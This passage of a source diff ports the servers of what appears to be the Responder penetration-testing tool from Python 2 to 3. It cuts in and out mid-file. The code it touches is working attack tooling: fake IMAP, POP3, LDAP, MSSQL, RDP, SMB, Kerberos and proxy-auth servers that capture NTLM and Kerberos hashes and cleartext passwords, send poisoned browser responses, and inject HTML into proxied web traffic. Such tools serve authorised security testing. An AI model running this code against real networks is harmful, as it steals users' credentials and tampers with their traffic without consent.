print(text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))) - Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) + Content = Content.replace(HasBody[0], b'%s\n%s' % (HasBody[0], settings.Config.HtmlToInject.encode('latin-1'))) - if "content-encoding: gzip" in Headers.lower(): + if b'content-encoding: gzip' in Headers.lower(): Content = zlib.compress(Content) - Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) - data = Headers +'\r\n\r\n'+ Content + Headers = Headers.replace(b'Content-Length: '+Len, b'Content-Length: '+ NetworkSendBufferPython2or3(len(Content))) + data = Headers +b'\r\n\r\n'+ Content + else: if settings.Config.Verbose: - print text("[PROXY] Returning unmodified HTTP response") + print(text("[PROXY] Returning unmodified HTTP response")) + return data class ProxySock: @@ -99,14 +108,14 @@ class ProxySock: # Replace the socket by a connection to the proxy self.socket = socket.socket(family, socktype, proto) self.socket.connect(sockaddr) - except socket.error, msg: + except socket.error as msg: if self.socket: self.socket.close() self.socket = None continue break if not self.socket : - raise socket.error, msg + raise socket.error(msg) # Ask him to create a tunnel connection to the target host/port self.socket.send( @@ -121,7 +130,7 @@ class ProxySock: # Not 200 ? if parts[1] != "200": - print color("[!] Error response from upstream proxy: %s" % resp, 1) + print(color("[!] Error response from upstream proxy: %s" % resp, 1)) pass # Wrap all methods of inner socket, without any change @@ -200,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): def handle(self): (ip, port) = self.client_address if settings.Config.Verbose: - print text("[PROXY] Received connection from %s" % self.client_address[0]) + print(text("[PROXY] Received connection from %s" % self.client_address[0])) self.__base_handle() def _connect_to(self, netloc, soc): @@ -210,7 +219,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): else: host_port = netloc, 80 try: soc.connect(host_port) - except socket.error, arg: + except socket.error as arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) @@ -271,14 +280,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) if self._connect_to(netloc, soc): - soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) + soc.send(NetworkSendBufferPython2or3("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))) Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' if settings.Config.Verbose: - print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) - print text("[PROXY] Requested URL : %s" % color(self.path, 3)) - print text("[PROXY] Cookie : %s" % Cookie) + print(text("[PROXY] Client : %s" % color(self.client_address[0], 3))) + print(text("[PROXY] Requested URL : %s" % color(self.path, 3))) + print(text("[PROXY] Cookie : %s" % Cookie)) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] @@ -286,8 +295,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): del self.headers['Range'] for k, v in self.headers.items(): - soc.send("%s: %s\r\n" % (k.title(), v)) - soc.send("\r\n") + soc.send(NetworkSendBufferPython2or3("%s: %s\r\n" % (k.title(), v))) + soc.send(NetworkSendBufferPython2or3("\r\n")) try: self._read_write(soc, netloc) @@ -325,13 +334,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): try: data = i.recv(4096) - if self.command == "POST" and settings.Config.Verbose: - print text("[PROXY] POST Data : %s" % data) + if self.command == b'POST' and settings.Config.Verbose: + print(text("[PROXY] POST Data : %s" % data)) except: pass if data: try: out.send(data) + count = 0 except: pass diff --git a/servers/IMAP.py b/servers/IMAP.py index 765db32..2e6c7ce 100644 --- a/servers/IMAP.py +++ b/servers/IMAP.py @@ -14,36 +14,35 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import sys from utils import * -from SocketServer import BaseRequestHandler +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd class IMAP(BaseRequestHandler): def handle(self): try: - self.request.send(str(IMAPGreeting())) + self.request.send(NetworkSendBufferPython2or3(IMAPGreeting())) data = self.request.recv(1024) - - if data[5:15] == "CAPABILITY": + if data[5:15] == b'CAPABILITY': RequestTag = data[0:4] - self.request.send(str(IMAPCapability())) - self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + self.request.send(NetworkSendBufferPython2or3(IMAPCapability())) + self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1")))) data = self.request.recv(1024) - if data[5:10] == "LOGIN": - Credentials = data[10:].strip() - + if data[5:10] == b'LOGIN': + Credentials = data[10:].strip().decode("latin-1").split('"') SaveToDb({ 'module': 'IMAP', 'type': 'Cleartext', 'client': self.client_address[0], - 'user': Credentials[0], - 'cleartext': Credentials[1], - 'fullhash': Credentials[0]+":"+Credentials[1], + 'user': Credentials[1], + 'cleartext': Credentials[3], + 'fullhash': Credentials[1]+":"+Credentials[3], }) - ## FIXME: Close connection properly - ## self.request.send(str(ditchthisconnection())) - ## data = self.request.recv(1024) except Exception: pass diff --git a/servers/Kerberos.py b/servers/Kerberos.py index 39a57aa..bef73ce 100644 --- a/servers/Kerberos.py +++ b/servers/Kerberos.py @@ -14,56 +14,61 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from SocketServer import BaseRequestHandler -from utils import * +import codecs import struct +from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02': + if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33': HashLen = struct.unpack('. -from SocketServer import BaseRequestHandler +import sys +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from utils import * import struct +import codecs def ParseSearch(data): - if re.search(r'(objectClass)', data): - return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) - elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): - return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) - elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): - return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + if re.search(b'(objectClass)', data): + return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1'))) + elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) + elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 - SSPIStart = data.find('NTLMSSP') - SSPIString = data[SSPIStart:] + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] LMhashLen = struct.unpack(' 60: - SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') DomainLen = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('. -from SocketServer import BaseRequestHandler -from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer -from utils import * import random import struct +import codecs +from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler +from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer + class TDS_Login_Packet: def __init__(self, data): @@ -41,7 +46,7 @@ class TDS_Login_Packet: LocaleLen = struct.unpack(' 60: - WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', @@ -99,10 +102,10 @@ def ParseSQLHash(data, client, Challenge): def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) - Pw = '' + Pw = b'' for x in Pwd: - Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') - return Pw + Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex') + return Pw.decode('latin-1') def ParseClearTextSQLPass(data, client): @@ -122,57 +125,62 @@ class MSSQL(BaseRequestHandler): def handle(self): try: - data = self.request.recv(1024) - if settings.Config.Verbose: - print text("[MSSQL] Received connection from %s" % self.client_address[0]) - - if data[0] == "\x12": # Pre-Login Message - Buffer = str(MSSQLPreLoginAnswer()) - self.request.send(Buffer) + self.ntry = 0 + while True: data = self.request.recv(1024) + self.request.settimeout(1) + Challenge = RandomChallenge() - if data[0] == "\x10": # NegoSSP - if re.search("NTLMSSP",data): - Challenge = RandomChallenge() - Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - Packet.calculate() - Buffer = str(Packet) - self.request.send(Buffer) + if not data: + break + if settings.Config.Verbose: + print(text("[MSSQL] Received connection from %s" % self.client_address[0])) + if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - if data[0] == "\x11": # NegoSSP Auth - ParseSQLHash(data,self.client_address[0],Challenge) + if data[0] == b"\x10" or data[0] == 16: # NegoSSP + if re.search(b'NTLMSSP',data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + Packet.calculate() + Buffer = str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) + data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth + ParseSQLHash(data,self.client_address[0],Challenge) except: - pass + pass # MSSQL Server Browser class # See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx class MSSQLBrowser(BaseRequestHandler): def handle(self): if settings.Config.Verbose: - print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]) + print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])) data, soc = self.request if data: - if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX + if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") - elif data[0] == "\x04": # CLNT_UCAST_INST + elif data[0] == b'\x04': # CLNT_UCAST_INST self.send_response(soc, data[1:].rstrip("\x00")) - elif data[0] == "\x0F": # CLNT_UCAST_DAC + elif data[0] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) def send_response(self, soc, inst): - print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]) + print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])) server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) - soc.sendto(struct.pack(". from utils import * -from SocketServer import BaseRequestHandler -from packets import POPOKPacket +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler +from packets import POPOKPacket,POPNotOKPacket # POP3 Server class class POP3(BaseRequestHandler): def SendPacketAndRead(self): Packet = POPOKPacket() - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) return self.request.recv(1024) def handle(self): try: data = self.SendPacketAndRead() - - if data[0:4] == "USER": - User = data[5:].replace("\r\n","") + if data[0:4] == b'CAPA': + self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket())) + data = self.request.recv(1024) + if data[0:4] == b'AUTH': + self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket())) + data = self.request.recv(1024) + if data[0:4] == b'USER': + User = data[5:].strip(b"\r\n").decode("latin-1") data = self.SendPacketAndRead() - if data[0:4] == "PASS": - Pass = data[5:].replace("\r\n","") + if data[0:4] == b'PASS': + Pass = data[5:].strip(b"\r\n").decode("latin-1") SaveToDb({ 'module': 'POP3', diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index f83b31e..9351785 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -14,15 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import SocketServer -from HTTP import ParseHTTPHash -from packets import * from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from servers.HTTP import ParseHTTPHash +from packets import * def GrabUserAgent(data): UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) - if UserAgent: - print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) + if UserAgent: + print(text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))) def GrabCookie(data): Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) @@ -30,8 +33,8 @@ def GrabCookie(data): if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1: - if settings.Config.Verbose: - print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) + if settings.Config.Verbose: + print(text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))) return Cookie return False @@ -41,8 +44,8 @@ def GrabHost(data): if Host: Host = Host.group(0).replace('Host: ', '') - if settings.Config.Verbose: - print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) + if settings.Config.Verbose: + print(text("[Proxy-Auth] %s" % color("Host : "+Host, 2))) return Host return False @@ -52,36 +55,35 @@ def PacketSequence(data, client, Challenge): Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - if Packet_NTLM == "\x01": + if Packet_NTLM == b'\x01': if settings.Config.Verbose: - print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) - - Buffer = NTLM_Challenge(ServerChallenge=Challenge) + print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)) + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer.calculate() - Buffer_Ans = WPAD_NTLM_Challenge_Ans() - Buffer_Ans.calculate(str(Buffer)) - return str(Buffer_Ans) - if Packet_NTLM == "\x03": + Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + return Buffer_Ans + + if Packet_NTLM == b'\x03': NTLM_Auth = b64decode(''.join(NTLM_Auth)) - ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") - GrabUserAgent(data) - GrabCookie(data) - GrabHost(data) - return False #Send a RST with SO_LINGER when close() is called (see Responder.py) + ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") + GrabUserAgent(data) + GrabCookie(data) + GrabHost(data) + return False else: return False elif Basic_Auth: - GrabUserAgent(data) - GrabCookie(data) - GrabHost(data) - ClearText_Auth = b64decode(''.join(Basic_Auth)) + GrabUserAgent(data) + GrabCookie(data) + GrabHost(data) + ClearText_Auth = b64decode(''.join(Basic_Auth).encode('latin-1')) SaveToDb({ 'module': 'Proxy-Auth', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.split(':')[0], - 'cleartext': ClearText_Auth.split(':')[1], + 'user': ClearText_Auth.decode('latin-1').split(':')[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], }) return False @@ -89,24 +91,51 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = WPAD_Basic_407_Ans() if settings.Config.Verbose: - print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) + print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)) else: Response = WPAD_Auth_407_Ans() return str(Response) -class Proxy_Auth(SocketServer.BaseRequestHandler): +class Proxy_Auth(BaseRequestHandler): - - def handle(self): + def handle(self): try: - Challenge = RandomChallenge() - for x in range(2): - data = self.request.recv(4096) - self.request.send(PacketSequence(data, self.client_address[0], Challenge)) + Challenge = RandomChallenge() + while True: + self.request.settimeout(3) + remaining = 10*1024*1024 #setting max recieve size + data = '' + while True: + buff = '' + buff = NetworkRecvBufferPython2or3(self.request.recv(8092)) + if buff == '': + break + data += buff + remaining -= len(buff) + #check if we recieved the full header + if data.find('\r\n\r\n') != -1: + #we did, now to check if there was anything else in the request besides the header + if data.find('Content-Length') == -1: + #request contains only header + break + else: + #searching for that content-length field in the header + for line in data.split('\r\n'): + if line.find('Content-Length') != -1: + line = line.strip() + remaining = int(line.split(':')[1].strip()) - len(data) + if remaining <= 0: + break + if data == "": + break + + else: + Buffer = PacketSequence(data,self.client_address[0], Challenge) + self.request.send(NetworkSendBufferPython2or3(Buffer)) except: - pass + pass diff --git a/servers/RDP.py b/servers/RDP.py index 62c0dd9..fd52f1d 100644 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -14,71 +14,79 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from SocketServer import BaseRequestHandler from utils import * -from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer import struct import re import ssl +import codecs +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2 - SSPIStart = data.find('NTLMSSP') - SSPIString = data[SSPIStart:] + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] LMhashLen = struct.unpack(' 60: - NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') DomainLen = struct.unpack('. +import struct, re +import codecs +from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from random import randrange from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data -from SocketServer import BaseRequestHandler -from utils import * -import struct -import re def Is_Anonymous(data): # Detect if SMB auth was Anonymous @@ -43,30 +46,25 @@ def Parse_Nego_Dialect(data): if Dialect[i] == 'NT LM 0.12': return chr(i) + '\x00' - def midcalc(data): #Set MID SMB Header field. return data[34:36] - - def uidcalc(data): #Set UID SMB Header field. return data[32:34] - def pidcalc(data): #Set PID SMB Header field. pack=data[30:32] return pack - def tidcalc(data): #Set TID SMB Header field. pack=data[28:30] return pack def ParseShare(data): packet = data[:] - a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) + a = re.search(b'(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: - print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')) + print(text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))) def GrabMessageID(data): Messageid = data[28:36] @@ -74,8 +72,8 @@ def GrabMessageID(data): def GrabCreditRequested(data): CreditsRequested = data[18:20] - if CreditsRequested == "\x00\x00": - CreditsRequested = "\x01\x00" + if CreditsRequested == b'\x00\x00': + CreditsRequested = b'\x01\x00' else: CreditsRequested = data[18:20] return CreditsRequested @@ -89,23 +87,25 @@ def GrabSessionID(data): return SessionID def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2 - SSPIStart = data.find('NTLMSSP') - SSPIString = data[SSPIStart:] + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] LMhashLen = struct.unpack(' 60: - SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') DomainLen = struct.unpack(' 25: - FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') + FullHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex') LmHash = FullHash[:32].upper() NtHash = FullHash[32:].upper() - WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash) + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), LmHash.decode('latin-1'), NtHash.decode('latin-1')) SaveToDb({ 'module': 'SMB', @@ -157,10 +158,9 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2 }) if NthashLen == 24: - NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() - LmHash = data[65:65+LMhashLen].encode('hex').upper() - WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex')) - + NtHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex').upper() + LmHash = codecs.encode(data[65:65+LMhashLen],'hex').upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash.decode('latin-1'), NtHash.decode('latin-1'), codecs.encode(Challenge,'hex').decode('latin-1')) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv1', @@ -184,7 +184,7 @@ def IsNT4ClearTxt(data, client): if PassLen > 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + print(text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) @@ -195,7 +195,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP while True: data = self.request.recv(1024) self.request.settimeout(1) - Challenge = RandomChallenge() + Challenge = RandomChallenge() if not data: break @@ -206,84 +206,86 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP self.request.send(Buffer) data = self.request.recv(1024) except: + raise pass ##Negotiate proto answer SMBv2. - if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): - head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") - t = SMB2NegoAns() - t.calculate() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ## Session Setup 1 answer SMBv2. - if data[16:18] == "\x00\x00" and data[4:5] == "\xfe": - head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) - t = SMB2NegoAns(Dialect="\x10\x02") - t.calculate() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ## Session Setup 2 answer SMBv2. - if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0") - t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ## Session Setup 3 answer SMBv2. - if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": - ParseSMBHash(data, self.client_address[0], Challenge) - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) - t = SMB2Session2Data() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - # Negotiate Protocol Response smbv1 - if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None: - Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - Body.calculate() - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) + if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data): + head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") + t = SMB2NegoAns() + t.calculate() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) - if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1 + ## Session Setup 1 answer SMBv2. + if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe": + head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1')) + t = SMB2NegoAns(Dialect="\x10\x02") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(1024) + ## Session Setup 2 answer SMBv2. + if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe": + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'),NTStatus="\x16\x00\x00\xc0") + t = SMB2Session1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(1024) + ## Session Setup 3 answer SMBv2. + if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe': + ParseSMBHash(data, self.client_address[0], Challenge) + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) + t = SMB2Session2Data() + packet1 = str(head)+str(t) + buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(1024) + + # Negotiate Protocol Response smbv1 + if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None: + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) + Body.calculate() + + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) + + self.request.send(NetworkSendBufferPython2or3(Buffer)) + data = self.request.recv(1024) + + if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # Session Setup AndX Request smbv1 IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED - Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data))) if 